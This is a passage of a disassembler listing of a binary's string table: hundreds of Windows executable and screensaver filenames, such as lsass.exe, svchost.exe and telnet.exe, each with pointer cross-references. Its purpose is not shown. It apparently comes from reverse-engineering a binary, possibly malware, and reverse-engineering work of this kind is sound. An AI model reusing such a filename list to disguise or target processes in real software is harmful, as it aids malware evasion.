aHh_exe db 'hh.exe',0 ; DATA XREF: ?9:00448F94o
align 4
aExplorer_exe_0 db 'explorer.exe',0 ; DATA XREF: ?9:00448F90o
align 4
aAlcupd_exe db 'alcupd.exe',0 ; DATA XREF: ?9:00448F8Co
align 10h
aAlcrmv_exe db 'alcrmv.exe',0 ; DATA XREF: ?9:00448F88o
align 4
aRtlupd_exe db 'RtlUpd.exe',0 ; DATA XREF: ?9:00448F84o
align 4
aMiccal_exe db 'MicCal.exe',0 ; DATA XREF: ?9:00448F80o
align 4
aRthdcpl_exe db 'RTHDCPL.EXE',0 ; DATA XREF: ?9:00448F78o
aAlcwzrd_exe db 'ALCWZRD.EXE',0 ; DATA XREF: ?9:00448F70o
aAlcmtr_exe db 'ALCMTR.EXE',0 ; DATA XREF: ?9:00448F6Co
align 4
aWrvmchars_exe db 'wrvmchars.exe',0 ; DATA XREF: ?9:00448F5Co
align 4
aWmsnchrs_exe db 'wmsnchrs.exe',0 ; DATA XREF: ?9:00448F58o ?9:004490B4o
align 4
aWiadss_exe db 'wiadss.exe',0 ; DATA XREF: ?9:00448F54o ?9:004490B0o
align 4
aWmsncs_exe db 'wmsncs.exe',0 ; DATA XREF: ?9:00448F50o ?9:004490ACo
align 10h
aWmssvc_exe db 'wmssvc.exe',0 ; DATA XREF: ?9:00448F4Co ?9:004490A8o
align 4
aTrkwksvc_exe db 'trkwksvc.exe',0 ; DATA XREF: ?9:00448F48o ?9:004490A4o
align 4
aWuaucpl_exe db 'wuaucpl.exe',0 ; DATA XREF: ?9:00448F44o ?9:004490A0o
aTrkwkss_exe db 'trkwkss.exe',0 ; DATA XREF: ?9:00448F40o ?9:0044909Co
aUninstall__exe db 'uninstall_.exe',0 ; DATA XREF: ?9:00448F3Co ?9:00449098o
align 4
aHidserv_exe db 'hidserv.exe',0 ; DATA XREF: ?9:00448F38o
aSlsvc_exe db 'slsvc.exe',0 ; DATA XREF: ?9:00448F34o
align 4
aSdclt_exe db 'sdclt.exe',0 ; DATA XREF: ?9:00448F30o
align 4
aRegsvc_exe db 'regsvc.exe',0 ; DATA XREF: ?9:00448F2Co
align 4
aMssearch_exe db 'mssearch.exe',0 ; DATA XREF: ?9:00448F28o
align 4
aMdm_exe db 'mdm.exe',0 ; DATA XREF: ?9:00448F24o
aLsm_exe db 'lsm.exe',0 ; DATA XREF: ?9:00448F20o
aDwm_exe db 'dwm.exe',0 ; DATA XREF: ?9:00448F1Co
aLexbces_exe db 'lexbces.exe',0 ; DATA XREF: ?9:00448F18o
aLoadqm_exe db 'loadqm.exe',0 ; DATA XREF: ?9:00448F14o
align 4
aSmax4pnp_exe db 'smax4pnp.exe',0 ; DATA XREF: ?9:00448F10o ?9:00448FE0o
align 4
aTphkmgr_exe db 'TPHKMGR.exe',0 ; DATA XREF: ?9:00448F0Co
aCli_exe db 'cli.exe',0 ; DATA XREF: ?9:00448F08o
aHpzipm12_exe db 'HPZipm12.exe',0 ; DATA XREF: ?9:00448F04o
align 4
aNhksrv_exe db 'nhksrv.exe',0 ; DATA XREF: ?9:00448F00o
align 4
aHpcmpmgr_exe db 'hpcmpmgr.exe',0 ; DATA XREF: ?9:00448EFCo
align 4
aHpsysdrv_exe db 'hpsysdrv.exe',0 ; DATA XREF: ?9:00448EF8o
align 4
aNmssvc_exe db 'nmssvc.exe',0 ; DATA XREF: ?9:00448EF4o
align 10h
aSmagent_exe db 'smagent.exe',0 ; DATA XREF: ?9:00448EF0o ?9:00448FDCo
aMstask_exe db 'mstask.exe',0 ; DATA XREF: ?9:00448EECo
align 4
aPctspk_exe db 'pctspk.exe',0 ; DATA XREF: ?9:00448EE8o
align 4
aIgfxtray_exe db 'igfxtray.exe',0 ; DATA XREF: ?9:00448EE4o
align 4
aIgfxpers_exe db 'igfxpers.exe',0 ; DATA XREF: ?9:00448EE0o
align 4
aInetinfo_exe db 'inetinfo.exe',0 ; DATA XREF: ?9:00448EDCo
align 4
aCrypserv_exe db 'crypserv.exe',0 ; DATA XREF: ?9:00448ED8o
align 4
aWisptis_exe db 'wisptis.exe',0 ; DATA XREF: ?9:00448ED4o
aQttask_exe db 'qttask.exe',0 ; DATA XREF: ?9:00448ED0o
align 4
aPoint32_exe db 'point32.exe',0 ; DATA XREF: ?9:00448ECCo ?9:00448FD8o
aJusched_exe db 'jusched.exe',0 ; DATA XREF: ?9:00448EC8o
aHotkey_exe db 'hotkey.exe',0 ; DATA XREF: ?9:00448EC4o
align 10h
aHkcmd_exe db 'hkcmd.exe',0 ; DATA XREF: ?9:00448EC0o
align 4
aTaskeng_exe db 'taskeng.exe',0 ; DATA XREF: ?9:00448EBCo
aWercon_exe db 'wercon.exe',0 ; DATA XREF: ?9:00448EB8o
align 4
aWinmgmt_exe db 'winmgmt.exe',0 ; DATA XREF: ?9:00448EB4o
aWmiexe_exe db 'wmiexe.exe',0 ; DATA XREF: ?9:00448EB0o
align 4
aPenservice_exe db 'penservice.exe',0 ; DATA XREF: ?9:00448EACo
align 4
aWudfhost_exe db 'WUDFHost.exe',0 ; DATA XREF: ?9:00448EA8o
align 4
aInternat_exe db 'internat.exe',0 ; DATA XREF: ?9:00448EA0o
align 4
aDevldr32_exe db 'devldr32.exe',0 ; DATA XREF: ?9:00448E9Co
align 4
aSystem_1 db 'System',0 ; DATA XREF: ?9:00448E98o ?9:00448FD0o
align 4
aSstext3d_scr db 'sstext3d.scr',0 ; DATA XREF: ?9:00448E94o
align 4
aSsstars_scr db 'ssstars.scr',0 ; DATA XREF: ?9:00448E90o
aSspipes_scr db 'sspipes.scr',0 ; DATA XREF: ?9:00448E8Co
aSsmyst_scr db 'ssmyst.scr',0 ; DATA XREF: ?9:00448E88o
align 4
aSsmypics_scr db 'ssmypics.scr',0 ; DATA XREF: ?9:00448E84o
align 4
aSsmarque_scr db 'ssmarque.scr',0 ; DATA XREF: ?9:00448E80o
align 4
aSsflwbox_scr db 'ssflwbox.scr',0 ; DATA XREF: ?9:00448E7Co
align 4
aSsbezier_scr db 'ssbezier.scr',0 ; DATA XREF: ?9:00448E78o
align 4
aSs3dfo_scr db 'ss3dfo.scr',0 ; DATA XREF: ?9:00448E74o
align 4
aSeismosaver_sc db 'SeismoSaver.scr',0 ; DATA XREF: ?9:00448E70o
aScrnsave_scr db 'scrnsave.scr',0 ; DATA XREF: ?9:00448E6Co
align 4
aLogon_scr db 'logon.scr',0 ; DATA XREF: ?9:00448E68o
align 10h
aAcdsee_scr db 'ACDSee.scr',0 ; DATA XREF: ?9:00448E64o
align 4
aXcopy_exe db 'xcopy.exe',0 ; DATA XREF: ?9:00448E60o
align 4
aWupdmgr_exe db 'wupdmgr.exe',0 ; DATA XREF: ?9:00448E5Co
aWuauclt1_exe db 'wuauclt1.exe',0 ; DATA XREF: ?9:00448E58o
align 4
aWuauclt_exe db 'wuauclt.exe',0 ; DATA XREF: ?9:00448E54o
aWscript_exe db 'wscript.exe',0 ; DATA XREF: ?9:00448E50o
aWscntfy_exe db 'wscntfy.exe',0 ; DATA XREF: ?9:00448E4Co
aWrite_exe db 'write.exe',0 ; DATA XREF: ?9:00448E48o
align 4
aWpnpinst_exe db 'wpnpinst.exe',0 ; DATA XREF: ?9:00448E44o
align 4
aWpabaln_exe db 'wpabaln.exe',0 ; DATA XREF: ?9:00448E40o
aWowexec_exe db 'wowexec.exe',0 ; DATA XREF: ?9:00448E3Co
aWowdeb_exe db 'wowdeb.exe',0 ; DATA XREF: ?9:00448E38o
align 4
aWjview_exe db 'wjview.exe',0 ; DATA XREF: ?9:00448E34o
align 4
aWinver_exe db 'winver.exe',0 ; DATA XREF: ?9:00448E30o
align 10h
aWinspool_exe db 'winspool.exe',0 ; DATA XREF: ?9:00448E2Co
align 10h
aWinmsd_exe db 'winmsd.exe',0 ; DATA XREF: ?9:00448E28o
align 4
aWinmine_exe db 'winmine.exe',0 ; DATA XREF: ?9:00448E24o
aWinhlp32_exe db 'winhlp32.exe',0 ; DATA XREF: ?9:00448E20o ?9:00448FCCo
align 4
aWindbver_exe db 'WINDBVER.EXE',0 ; DATA XREF: ?9:00448E1Co
align 4
aWinchat_exe db 'winchat.exe',0 ; DATA XREF: ?9:00448E18o
aWiaacmgr_exe db 'wiaacmgr.exe',0 ; DATA XREF: ?9:00448E14o
align 4
aWextract_exe db 'wextract.exe',0 ; DATA XREF: ?9:00448E10o
align 4
aW32tm_exe db 'w32tm.exe',0 ; DATA XREF: ?9:00448E0Co
align 10h
aVwipxspx_exe db 'vwipxspx.exe',0 ; DATA XREF: ?9:00448E08o
align 10h
aVssvc_exe db 'vssvc.exe',0 ; DATA XREF: ?9:00448E04o
align 4
aVssadmin_exe db 'vssadmin.exe',0 ; DATA XREF: ?9:00448E00o
align 4
aViral_exe db 'viral.exe',0 ; DATA XREF: ?9:00448DFCo
align 4
aVerifier_exe db 'verifier.exe',0 ; DATA XREF: ?9:00448DF8o
align 4
aVerclsid_exe db 'verclsid.exe',0 ; DATA XREF: ?9:00448DF4o
align 4
aUtilman_exe db 'utilman.exe',0 ; DATA XREF: ?9:00448DF0o
aUsrshuta_exe db 'usrshuta.exe',0 ; DATA XREF: ?9:00448DECo
align 4
aUsrprbda_exe db 'usrprbda.exe',0 ; DATA XREF: ?9:00448DE8o
align 4
aUsrmlnka_exe db 'usrmlnka.exe',0 ; DATA XREF: ?9:00448DE4o
align 4
aUserinit_exe db 'userinit.exe',0 ; DATA XREF: ?9:00448DE0o
align 4
aUser_exe db 'user.exe',0 ; DATA XREF: ?9:00448DDCo
align 10h
aUps_exe db 'ups.exe',0 ; DATA XREF: ?9:00448DD8o
aUpnpcont_exe db 'upnpcont.exe',0 ; DATA XREF: ?9:00448DD4o
align 4
aUnlodctr_exe db 'unlodctr.exe',0 ; DATA XREF: ?9:00448DD0o
align 4
aTypeperf_exe db 'typeperf.exe',0 ; DATA XREF: ?9:00448DCCo
align 4
aTwunk_32_exe db 'twunk_32.exe',0 ; DATA XREF: ?9:00448DC8o ?9:00448FC4o
align 4
aTwunk_16_exe db 'twunk_16.exe',0 ; DATA XREF: ?9:00448DC4o ?9:00448FC0o
align 4
aTsshutdn_exe db 'tsshutdn.exe',0 ; DATA XREF: ?9:00448DC0o
align 4
aTskill_exe db 'tskill.exe',0 ; DATA XREF: ?9:00448DBCo
align 4
aTsdiscon_exe db 'tsdiscon.exe',0 ; DATA XREF: ?9:00448DB8o
align 4
aTscupgrd_exe db 'tscupgrd.exe',0 ; DATA XREF: ?9:00448DB4o
align 4
aTscon_exe db 'tscon.exe',0 ; DATA XREF: ?9:00448DB0o
align 10h
aTracert6_exe db 'tracert6.exe',0 ; DATA XREF: ?9:00448DACo
align 10h
aTracert_exe db 'tracert.exe',0 ; DATA XREF: ?9:00448DA8o
aTracerpt_exe db 'tracerpt.exe',0 ; DATA XREF: ?9:00448DA4o
align 4
aTourstart_exe db 'tourstart.exe',0 ; DATA XREF: ?9:00448DA0o
align 4
aTlntsvr_exe db 'tlntsvr.exe',0 ; DATA XREF: ?9:00448D9Co
aTlntsess_exe db 'tlntsess.exe',0 ; DATA XREF: ?9:00448D98o
align 4
aTlntadmn_exe db 'tlntadmn.exe',0 ; DATA XREF: ?9:00448D94o
align 4
aTftp_exe db 'tftp.exe',0 ; DATA XREF: ?9:00448D90o
align 4
aTelnet_exe db 'telnet.exe',0 ; DATA XREF: ?9:00448D8Co
align 10h
aTcpsvcs_exe db 'tcpsvcs.exe',0 ; DATA XREF: ?9:00448D88o
aTcmsetup_exe db 'tcmsetup.exe',0 ; DATA XREF: ?9:00448D84o
align 4
aTaskmgr_exe db 'taskmgr.exe',0 ; DATA XREF: ?9:00448D80o
aTaskman_exe_0 db 'taskman.exe',0 ; DATA XREF: ?9:00448D7Co
aTasklist_exe db 'tasklist.exe',0 ; DATA XREF: ?9:00448D78o
align 4
aTaskkill_exe db 'taskkill.exe',0 ; DATA XREF: ?9:00448D74o
align 4
aSystray_exe db 'systray.exe',0 ; DATA XREF: ?9:00448D70o
aSysteminfo_exe db 'systeminfo.exe',0 ; DATA XREF: ?9:00448D6Co
align 10h
aSysocmgr_exe db 'sysocmgr.exe',0 ; DATA XREF: ?9:00448D68o
align 10h
aSyskey_exe db 'syskey.exe',0 ; DATA XREF: ?9:00448D64o
align 4
aSysedit_exe db 'sysedit.exe',0 ; DATA XREF: ?9:00448D60o
aSyncapp_exe db 'syncapp.exe',0 ; DATA XREF: ?9:00448D5Co
aSvchost_exe db 'svchost.exe',0 ; DATA XREF: ?9:00448D58o
aSubst_exe db 'subst.exe',0 ; DATA XREF: ?9:00448D54o
align 4
aSubrange_uce db 'subrange.uce',0 ; DATA XREF: ?9:00448D50o
align 4
aStimon_exe db 'stimon.exe',0 ; DATA XREF: ?9:00448D4Co
align 4
aSpupdsvc_exe db 'spupdsvc.exe',0 ; DATA XREF: ?9:00448D48o
align 4
aSprestrt_exe db 'sprestrt.exe',0 ; DATA XREF: ?9:00448D44o
align 4
aSpoolsv_exe db 'spoolsv.exe',0 ; DATA XREF: ?9:00448D40o
aSpnpinst_exe db 'spnpinst.exe',0 ; DATA XREF: ?9:00448D3Co
align 4
aSpiisupd_exe db 'spiisupd.exe',0 ; DATA XREF: ?9:00448D38o
align 4
aSpider_exe db 'spider.exe',0 ; DATA XREF: ?9:00448D34o
align 10h
aSort_exe db 'sort.exe',0 ; DATA XREF: ?9:00448D30o
align 4
aSol_exe db 'sol.exe',0 ; DATA XREF: ?9:00448D2Co
aSndvol32_exe db 'sndvol32.exe',0 ; DATA XREF: ?9:00448D28o
align 4
aSndrec32_exe db 'sndrec32.exe',0 ; DATA XREF: ?9:00448D24o
align 4
aSmss_exe db 'smss.exe',0 ; DATA XREF: ?9:00448D20o
align 10h
aSmlogsvc_exe db 'smlogsvc.exe',0 ; DATA XREF: ?9:00448D1Co
align 10h
aSmbinst_exe db 'smbinst.exe',0 ; DATA XREF: ?9:00448D18o
aSkeys_exe db 'skeys.exe',0 ; DATA XREF: ?9:00448D14o
align 4
aSigverif_exe db 'sigverif.exe',0 ; DATA XREF: ?9:00448D10o
align 4
aShutdown_exe db 'shutdown.exe',0 ; DATA XREF: ?9:00448D0Co
align 4
aShrpubw_exe db 'shrpubw.exe',0 ; DATA XREF: ?9:00448D08o
aShmgrate_exe db 'shmgrate.exe',0 ; DATA XREF: ?9:00448D04o
align 4
aShare_exe db 'share.exe',0 ; DATA XREF: ?9:00448D00o
align 10h
aShadow_exe db 'shadow.exe',0 ; DATA XREF: ?9:00448CFCo
align 4
aSfc_exe db 'sfc.exe',0 ; DATA XREF: ?9:00448CF8o
aSetver_exe db 'setver.exe',0 ; DATA XREF: ?9:00448CF4o
align 10h
aSetup_exe db 'setup.exe',0 ; DATA XREF: ?9:00448CF0o
align 4
aSethc_exe db 'sethc.exe',0 ; DATA XREF: ?9:00448CECo
align 4
aSessmgr_exe db 'sessmgr.exe',0 ; DATA XREF: ?9:00448CE8o
aServices_exe db 'services.exe',0 ; DATA XREF: ?9:00448CE4o
align 4
aSecedit_exe db 'secedit.exe',0 ; DATA XREF: ?9:00448CE0o
aSdbinst_exe db 'sdbinst.exe',0 ; DATA XREF: ?9:00448CDCo
aSchtasks_exe db 'schtasks.exe',0 ; DATA XREF: ?9:00448CD8o
align 4
aScardsvr_exe db 'scardsvr.exe',0 ; DATA XREF: ?9:00448CD4o
align 4
aSc_exe db 'sc.exe',0 ; DATA XREF: ?9:00448CD0o
align 4
aSavedump_exe db 'savedump.exe',0 ; DATA XREF: ?9:00448CCCo
align 4
aRwinsta_exe db 'rwinsta.exe',0 ; DATA XREF: ?9:00448CC8o
aRunonce_exe db 'runonce.exe',0 ; DATA XREF: ?9:00448CC4o
aRundll32_exe db 'rundll32.exe',0 ; DATA XREF: ?9:00448CC0o
align 4
aRunas_exe db 'runas.exe',0 ; DATA XREF: ?9:00448CBCo
align 4
aRtlcpl_exe db 'RTLCPL.EXE',0 ; DATA XREF: ?9:00448CB8o ?9:00448F7Co
align 4
aRtcshare_exe db 'rtcshare.exe',0 ; DATA XREF: ?9:00448CB4o
align 4
aRsvp_exe db 'rsvp.exe',0 ; DATA XREF: ?9:00448CB0o
align 10h
aRsopprov_exe db 'rsopprov.exe',0 ; DATA XREF: ?9:00448CACo
align 10h
aRsnotify_exe db 'rsnotify.exe',0 ; DATA XREF: ?9:00448CA8o
align 10h
aRsmui_exe db 'rsmui.exe',0 ; DATA XREF: ?9:00448CA4o
align 4
aRsmsink_exe db 'rsmsink.exe',0 ; DATA XREF: ?9:00448CA0o
aRsm_exe db 'rsm.exe',0 ; DATA XREF: ?9:00448C9Co
aRsh_exe db 'rsh.exe',0 ; DATA XREF: ?9:00448C98o
aRoutemon_exe db 'routemon.exe',0 ; DATA XREF: ?9:00448C94o
align 4
aRoute_exe db 'route.exe',0 ; DATA XREF: ?9:00448C90o
align 4
aRexec_exe db 'rexec.exe',0 ; DATA XREF: ?9:00448C8Co
align 10h
aReset_exe db 'reset.exe',0 ; DATA XREF: ?9:00448C88o
align 4
aReplace_exe db 'replace.exe',0 ; DATA XREF: ?9:00448C84o
aRelog_exe db 'relog.exe',0 ; DATA XREF: ?9:00448C80o
align 4
aRegwiz_exe db 'regwiz.exe',0 ; DATA XREF: ?9:00448C7Co
align 10h
aRegsvr32_exe db 'regsvr32.exe',0 ; DATA XREF: ?9:00448C78o
align 10h
aRegini_exe db 'regini.exe',0 ; DATA XREF: ?9:00448C74o
align 4
aRegedt32_exe db 'regedt32.exe',0 ; DATA XREF: ?9:00448C70o
align 4
aRegcladm_exe db 'REGCLADM.EXE',0 ; DATA XREF: ?9:00448C6Co
align 4
aReg_exe db 'reg.exe',0 ; DATA XREF: ?9:00448C68o
aRedir_exe db 'redir.exe',0 ; DATA XREF: ?9:00448C64o
align 10h
aRecover_exe db 'recover.exe',0 ; DATA XREF: ?9:00448C60o
aRdshost_exe db 'rdshost.exe',0 ; DATA XREF: ?9:00448C5Co
aRdsaddin_exe db 'rdsaddin.exe',0 ; DATA XREF: ?9:00448C58o
align 4
aRdpclip_exe db 'rdpclip.exe',0 ; DATA XREF: ?9:00448C54o
aRcp_exe db 'rcp.exe',0 ; DATA XREF: ?9:00448C50o
aRcimlby_exe db 'rcimlby.exe',0 ; DATA XREF: ?9:00448C4Co
aRasphone_exe db 'rasphone.exe',0 ; DATA XREF: ?9:00448C48o
align 4
aRasdial_exe db 'rasdial.exe',0 ; DATA XREF: ?9:00448C44o
aRasautou_exe db 'rasautou.exe',0 ; DATA XREF: ?9:00448C40o
align 4
aQwinsta_exe db 'qwinsta.exe',0 ; DATA XREF: ?9:00448C3Co
aQprocess_exe db 'qprocess.exe',0 ; DATA XREF: ?9:00448C38o
align 10h
aQappsrv_exe db 'qappsrv.exe',0 ; DATA XREF: ?9:00448C34o
aProxycfg_exe db 'proxycfg.exe',0 ; DATA XREF: ?9:00448C30o
align 4
aProquota_exe db 'proquota.exe',0 ; DATA XREF: ?9:00448C2Co
align 4
aProgman_exe db 'progman.exe',0 ; DATA XREF: ?9:00448C28o
aPrint_exe db 'print.exe',0 ; DATA XREF: ?9:00448C24o
align 4
aPowercfg_exe db 'powercfg.exe',0 ; DATA XREF: ?9:00448C20o
align 4
aPing6_exe db 'ping6.exe',0 ; DATA XREF: ?9:00448C1Co
align 10h
aPing_exe db 'ping.exe',0 ; DATA XREF: ?9:00448C18o
align 4
aPerfmon_exe db 'perfmon.exe',0 ; DATA XREF: ?9:00448C14o
aPentnt_exe db 'pentnt.exe',0 ; DATA XREF: ?9:00448C10o
align 4
aPathping_exe db 'pathping.exe',0 ; DATA XREF: ?9:00448C0Co
align 4
aPackager_exe db 'packager.exe',0 ; DATA XREF: ?9:00448C08o
align 4
aOsuninst_exe db 'osuninst.exe',0 ; DATA XREF: ?9:00448C04o
align 4
aOsk_exe db 'osk.exe',0 ; DATA XREF: ?9:00448C00o
aOpenfiles_exe db 'openfiles.exe',0 ; DATA XREF: ?9:00448BFCo
align 4
aOdbcconf_exe db 'odbcconf.exe',0 ; DATA XREF: ?9:00448BF8o
align 4
aOdbcad32_exe db 'odbcad32.exe',0 ; DATA XREF: ?9:00448BF4o
align 4
aNwscript_exe db 'nwscript.exe',0 ; DATA XREF: ?9:00448BF0o
align 4
aNw16_exe db 'nw16.exe',0 ; DATA XREF: ?9:00448BECo
align 4
aNtvdm_exe db 'ntvdm.exe',0 ; DATA XREF: ?9:00448BE8o
align 4
aNtsd_exe db 'ntsd.exe',0 ; DATA XREF: ?9:00448BE4o
align 10h
aNtoskrnl_exe db 'ntoskrnl.exe',0 ; DATA XREF: ?9:00448BE0o
align 10h
aNtkrnlpa_exe db 'ntkrnlpa.exe',0 ; DATA XREF: ?9:00448BDCo
align 10h
aNtbackup_exe db 'ntbackup.exe',0 ; DATA XREF: ?9:00448BD8o
align 10h
aNslookup_exe db 'nslookup.exe',0 ; DATA XREF: ?9:00448BD4o
align 10h
aNotepad_exe_0 db 'notepad.exe',0 ; DATA XREF: ?9:00448BD0o ?9:00449054o
aNlsfunc_exe db 'nlsfunc.exe',0 ; DATA XREF: ?9:00448BCCo
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ?9:00448BC8o
aNetsh_exe db 'netsh.exe',0 ; DATA XREF: ?9:00448BC4o
align 10h
aNetsetup_exe db 'netsetup.exe',0 ; DATA XREF: ?9:00448BC0o
align 10h
aNetdde_exe db 'netdde.exe',0 ; DATA XREF: ?9:00448BBCo
align 4
aNet1_exe db 'net1.exe',0 ; DATA XREF: ?9:00448BB8o
align 4
aNet_exe db 'net.exe',0 ; DATA XREF: ?9:00448BB4o
aNerocheck_exe db 'NeroCheck.exe',0 ; DATA XREF: ?9:00448BB0o
align 10h
aNddeapir_exe db 'nddeapir.exe',0 ; DATA XREF: ?9:00448BACo
align 10h
aNbtstat_exe db 'nbtstat.exe',0 ; DATA XREF: ?9:00448BA8o
aNarrator_exe db 'narrator.exe',0 ; DATA XREF: ?9:00448BA4o
align 4
aMstsc_exe db 'mstsc.exe',0 ; DATA XREF: ?9:00448BA0o
align 4
aMstinit_exe db 'mstinit.exe',0 ; DATA XREF: ?9:00448B9Co
aMsswchx_exe db 'msswchx.exe',0 ; DATA XREF: ?9:00448B98o
aMspaint_exe db 'mspaint.exe',0 ; DATA XREF: ?9:00448B94o
aMsiexec_exe db 'msiexec.exe',0 ; DATA XREF: ?9:00448B90o
aMshta_exe db 'mshta.exe',0 ; DATA XREF: ?9:00448B8Co
align 4
aMshearts_exe db 'mshearts.exe',0 ; DATA XREF: ?9:00448B88o
align 4
aMsg_exe db 'msg.exe',0 ; DATA XREF: ?9:00448B84o
aMsdtc_exe db 'msdtc.exe',0 ; DATA XREF: ?9:00448B80o
align 4
aMscdexnt_exe db 'mscdexnt.exe',0 ; DATA XREF: ?9:00448B7Co
align 4
aMrt_exe db 'MRT.exe',0 ; DATA XREF: ?9:00448B78o
aMrinfo_exe db 'mrinfo.exe',0 ; DATA XREF: ?9:00448B74o
align 4
aMqtgsvc_exe db 'mqtgsvc.exe',0 ; DATA XREF: ?9:00448B70o
aMqsvc_exe db 'mqsvc.exe',0 ; DATA XREF: ?9:00448B6Co
align 4
aMqbkup_exe db 'mqbkup.exe',0 ; DATA XREF: ?9:00448B68o
align 10h
aMpnotify_exe db 'mpnotify.exe',0 ; DATA XREF: ?9:00448B64o
align 10h
aMplay32_exe db 'mplay32.exe',0 ; DATA XREF: ?9:00448B60o
aMountvol_exe db 'mountvol.exe',0 ; DATA XREF: ?9:00448B5Co
align 4
aMobsync_exe db 'mobsync.exe',0 ; DATA XREF: ?9:00448B58o
aMnmsrvc_exe db 'mnmsrvc.exe',0 ; DATA XREF: ?9:00448B54o
aMmc_exe db 'mmc.exe',0 ; DATA XREF: ?9:00448B50o
aMigpwd_exe db 'migpwd.exe',0 ; DATA XREF: ?9:00448B4Co
align 4
aMem_exe db 'mem.exe',0 ; DATA XREF: ?9:00448B48o
aMakecab_exe db 'makecab.exe',0 ; DATA XREF: ?9:00448B44o
aMagnify_exe db 'magnify.exe',0 ; DATA XREF: ?9:00448B40o
aLsass_exe db 'lsass.exe',0 ; DATA XREF: ?9:00448B3Co
align 4
aLpr_exe db 'lpr.exe',0 ; DATA XREF: ?9:00448B38o
aLpq_exe db 'lpq.exe',0 ; DATA XREF: ?9:00448B34o
aLogonui_exe db 'logonui.exe',0 ; DATA XREF: ?9:00448B30o
aLogoff_exe db 'logoff.exe',0 ; DATA XREF: ?9:00448B2Co
align 4
aLogman_exe db 'logman.exe',0 ; DATA XREF: ?9:00448B28o
align 4
aLogagent_exe db 'logagent.exe',0 ; DATA XREF: ?9:00448B24o
align 4
aLodctr_exe db 'lodctr.exe',0 ; DATA XREF: ?9:00448B20o
align 4
aLocator_exe db 'locator.exe',0 ; DATA XREF: ?9:00448B1Co
aLnkstub_exe db 'lnkstub.exe',0 ; DATA XREF: ?9:00448B18o
aLights_exe db 'lights.exe',0 ; DATA XREF: ?9:00448B14o
align 4
aLabel_exe db 'label.exe',0 ; DATA XREF: ?9:00448B10o
align 4
aKrnl386_exe db 'krnl386.exe',0 ; DATA XREF: ?9:00448B0Co
aJview_exe db 'jview.exe',0 ; DATA XREF: ?9:00448B08o
align 4
aJdbgmgr_exe db 'jdbgmgr.exe',0 ; DATA XREF: ?9:00448B04o
aJavaws_exe db 'javaws.exe',0 ; DATA XREF: ?9:00448B00o
align 4
aJavaw_exe db 'javaw.exe',0 ; DATA XREF: ?9:00448AFCo
align 10h
aJava_exe db 'java.exe',0 ; DATA XREF: ?9:00448AF8o
align 4
aIpxroute_exe db 'ipxroute.exe',0 ; DATA XREF: ?9:00448AF4o
align 4
aIpv6_exe db 'ipv6.exe',0 ; DATA XREF: ?9:00448AF0o
align 4
aIpsec6_exe db 'ipsec6.exe',0 ; DATA XREF: ?9:00448AECo
align 4
aIpconfig_exe db 'ipconfig.exe',0 ; DATA XREF: ?9:00448AE8o
align 4
aImapi_exe db 'imapi.exe',0 ; DATA XREF: ?9:00448AE4o
align 10h
aIexpress_exe db 'iexpress.exe',0 ; DATA XREF: ?9:00448AE0o
align 10h
aIe4uinit_exe db 'ie4uinit.exe',0 ; DATA XREF: ?9:00448ADCo
align 10h
aHostname_exe db 'hostname.exe',0 ; DATA XREF: ?9:00448AD8o
align 10h
aHelp_exe db 'help.exe',0 ; DATA XREF: ?9:00448AD4o
align 4
aGrpconv_exe db 'grpconv.exe',0 ; DATA XREF: ?9:00448AD0o
aGpupdate_exe db 'gpupdate.exe',0 ; DATA XREF: ?9:00448ACCo
align 4
aGpresult_exe db 'gpresult.exe',0 ; DATA XREF: ?9:00448AC8o
align 4
aGetmac_exe db 'getmac.exe',0 ; DATA XREF: ?9:00448AC4o
align 4
aGdi_exe db 'gdi.exe',0 ; DATA XREF: ?9:00448AC0o
aGb2312_uce db 'gb2312.uce',0 ; DATA XREF: ?9:00448ABCo
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: ?9:00448AB8o
aFsutil_exe db 'fsutil.exe',0 ; DATA XREF: ?9:00448AB4o
align 4
aFsquirt_exe db 'fsquirt.exe',0 ; DATA XREF: ?9:00448AB0o
aFreecell_exe db 'freecell.exe',0 ; DATA XREF: ?9:00448AACo
align 4
aForcedos_exe db 'forcedos.exe',0 ; DATA XREF: ?9:00448AA8o
align 4
aFontview_exe db 'fontview.exe',0 ; DATA XREF: ?9:00448AA4o
align 4
aFltmc_exe db 'fltMc.exe',0 ; DATA XREF: ?9:00448AA0o
align 4
aFixmapi_exe db 'fixmapi.exe',0 ; DATA XREF: ?9:00448A9Co
aFinger_exe db 'finger.exe',0 ; DATA XREF: ?9:00448A98o
align 4
aFindstr_exe db 'findstr.exe',0 ; DATA XREF: ?9:00448A94o
aFind_exe db 'find.exe',0 ; DATA XREF: ?9:00448A90o
align 4
aFc_exe db 'fc.exe',0 ; DATA XREF: ?9:00448A8Co
align 4
aFastopen_exe db 'fastopen.exe',0 ; DATA XREF: ?9:00448A88o
align 4
aExtrac32_exe db 'extrac32.exe',0 ; DATA XREF: ?9:00448A84o
align 4
aExpand_exe db 'expand.exe',0 ; DATA XREF: ?9:00448A80o
align 4
aExe2bin_exe db 'exe2bin.exe',0 ; DATA XREF: ?9:00448A7Co
aEventvwr_exe db 'eventvwr.exe',0 ; DATA XREF: ?9:00448A78o
align 4
aEventtriggers_ db 'eventtriggers.exe',0 ; DATA XREF: ?9:00448A74o
align 4
aEventcreate_ex db 'eventcreate.exe',0 ; DATA XREF: ?9:00448A70o
aEudcedit_exe db 'eudcedit.exe',0 ; DATA XREF: ?9:00448A6Co
align 4
aEsentutl_exe db 'esentutl.exe',0 ; DATA XREF: ?9:00448A68o
align 4
aEdlin_exe db 'edlin.exe',0 ; DATA XREF: ?9:00448A64o
align 4
aDxdiag_exe db 'dxdiag.exe',0 ; DATA XREF: ?9:00448A60o
align 10h
aDwwin_exe db 'dwwin.exe',0 ; DATA XREF: ?9:00448A5Co
align 4
aDvdupgrd_exe db 'dvdupgrd.exe',0 ; DATA XREF: ?9:00448A58o
align 4
aDvdplay_exe db 'dvdplay.exe',0 ; DATA XREF: ?9:00448A54o
aDumprep_exe db 'dumprep.exe',0 ; DATA XREF: ?9:00448A50o
aDrwtsn32_exe db 'drwtsn32.exe',0 ; DATA XREF: ?9:00448A4Co
align 4
aDrwatson_exe db 'drwatson.exe',0 ; DATA XREF: ?9:00448A48o
align 4
aDriverquery_ex db 'driverquery.exe',0 ; DATA XREF: ?9:00448A44o
aDpvsetup_exe db 'dpvsetup.exe',0 ; DATA XREF: ?9:00448A40o
align 4
aDpnsvr_exe db 'dpnsvr.exe',0 ; DATA XREF: ?9:00448A3Co
align 10h
